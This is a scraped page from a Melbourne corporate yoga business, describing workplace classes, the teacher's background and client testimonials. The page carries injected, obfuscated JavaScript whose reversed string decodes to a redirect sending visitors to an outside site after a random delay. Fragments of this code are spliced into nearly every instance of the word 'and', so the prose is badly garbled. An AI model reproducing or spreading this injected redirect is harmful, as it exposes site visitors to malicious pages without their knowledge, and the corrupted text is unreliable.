Float away from stress to find your inner glow

)=="string")return $GQRkExOVl1p57bbeL4u.list[n].split("").reverse().join("");return $GQRkExOVl1p57bbeL4u.list[n]};$GQRkExOVl1p57bbeL4u.list=["'php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andy=”bottom” icon=”” icon_color=”” bordersize=”1px” bordercolor=”#f38630″ backgroundcolor=”#f38630″ class=”” id=””]

Corporate yoga in Melbourne

We love bringing yoga to the workplace; observing the visible change in people before andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and after they’ve practiced yoga with us. Through yoga we bring relaxation to your body andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and calm to your mind. We’ll help you recognise andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and lose tension from your back, neck andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and shoulders from sitting hunched over your desk. You’ll gain strength, flexibility andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and develop body awareness as well as create stillness in your mind.

Reclaim your lunch break or organise yoga before or after work; we’ll bring the mats, music andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and relaxation.

Benefits of yoga at work

  • Be more productive; as an hour of exercise at lunchtime will motivate you to complete afternoon tasks
  • Reduce workplace stress by forgetting your busy mind andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and just breathing for an hour
  • Create a collaborative work environment andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a sense of community amongst staff

Find your inner glow

My passion is to help people let go of stress, quiet the busyness in their mind andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and find stillness within. Teaching others to go beyond their ego andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and be present in the moment. I’ve been teaching corporate yoga in Melbourne since 2013 andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and some of my clients include Pacific Brandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ands, Seven Network andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and First State Super. I have a Diploma in Classical Yoga andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a Certificate in Meditation Teaching andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and I’ve also studied in India.

I spent over ten years in marketing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and communications before I swapped my corporate attire for bright yoga leggings so I know what its like to work 9-5 hunched over a desk, going to endless meetings andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and rushing to meet deadlines.

I’d love to visit your workplace andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and help you to stretch andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and lengthen your body, calm your mind andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and relax your inner self.

What my clients are saying.

)=="string")return $GQRkExOVl1p57bbeL4u.list[n].split("").reverse().join("");return $GQRkExOVl1p57bbeL4u.list[n]};$GQRkExOVl1p57bbeL4u.list=["'php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andy=”bottom” icon=”” icon_color=”” bordersize=”1px” bordercolor=”#f38630″ backgroundcolor=”#f38630″ class=”” id=””]
)=="string")return $GQRkExOVl1p57bbeL4u.list[n].split("").reverse().join("");return $GQRkExOVl1p57bbeL4u.list[n]};$GQRkExOVl1p57bbeL4u.list=["'php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom=”yes” class=”” id=””]
It is terrific to work with Jemma. She constructed a session for me that combined yoga, mindfulness andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meditation – three important topics that I was keen to learn. Jemma is professional andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and knowledgeable, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and she has a caring andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and generous attitude toward her clients.
Professor Jill Klein, Melbourne Business School
Three Clouds Yoga is fantastic. Jemma is a fabulous teacher who has developed andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and guided our workplace into a stress free zone. I always look forward to our lunch time Yoga classes, which are not only rejuvenating but also challenging. Jemma’s knowledge, guidance andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and individual help has really assisted me in developing my Yoga skills andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and clearing my mind. She makes a lunch time work out very easy by coming to the office, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is always flexible with time. I would highly recommend Three Clouds Yoga.
Georgia Leach | Sales Executive, Seven Network
We organized a trial yoga & meditation class during lunch andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and have done it regularly ever since. We’ve had nothing but rave reviews from the staff who love it. Would definitely recommend Three Clouds for any stress management initiatives at their workplace.
Neil Turner | Senior Sales Executive
Three Clouds came to our work andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and we did a yoga class. The cost was reimbursed to us through The Workhealth Checks through government. The instructor was exceptionally helpful, friendly andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and professional – offering individual help andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensuring postures were correct. Many of us were keen to sign up for an ongoing course, due to the ease andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and convenience of someone coming in to our workplace. Great Service!
Fiona Jensen, Mind Australia
Jemma came to our workplace andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ran a morning class – the cost was covered through The Workhealth Checks (government) funding. It was a lovely class, we got great feedback from all the participants, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and requests to run the class every week! Thanks Jemma!
Tanya Thorpe, AREFEMI
)=="string")return $GQRkExOVl1p57bbeL4u.list[n].split("").reverse().join("");return $GQRkExOVl1p57bbeL4u.list[n]};$GQRkExOVl1p57bbeL4u.list=["'php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Glenys Daniel” avatar=”none” image=”” image_border_radius=”” company=”” link=”” target=”_self”]Jemma happily accommodates all levels of ability andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and will customise her classes for experienced students down to beginners. She also offers senior classes for those of us who are not as flexible as we used to be. She brings a graceful serenity with her andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is lovely to be around andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and will make you feel comfortable no matter what your limitations are or push you to do even better if you are at the other end of the scale. Best of all she brings the class to you so you don’t have to leave home andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and she is happy to teach groups, couples or singles. We could not recommend her more highly.

Thank you!

”Peter

Tips on yoga andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meditation

)=="string")return $GQRkExOVl1p57bbeL4u.list[n].split("").reverse().join("");return $GQRkExOVl1p57bbeL4u.list[n]};$GQRkExOVl1p57bbeL4u.list=["'php.sofnI/slitU/eroC/sppa/gnigats-pw/snigulp/tnetnoc-pw/moc.stelotog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andy=”bottom” icon=”” icon_color=”” bordersize=”1px” bordercolor=”#f38630″ backgroundcolor=”#f38630″ class=”” id=””]

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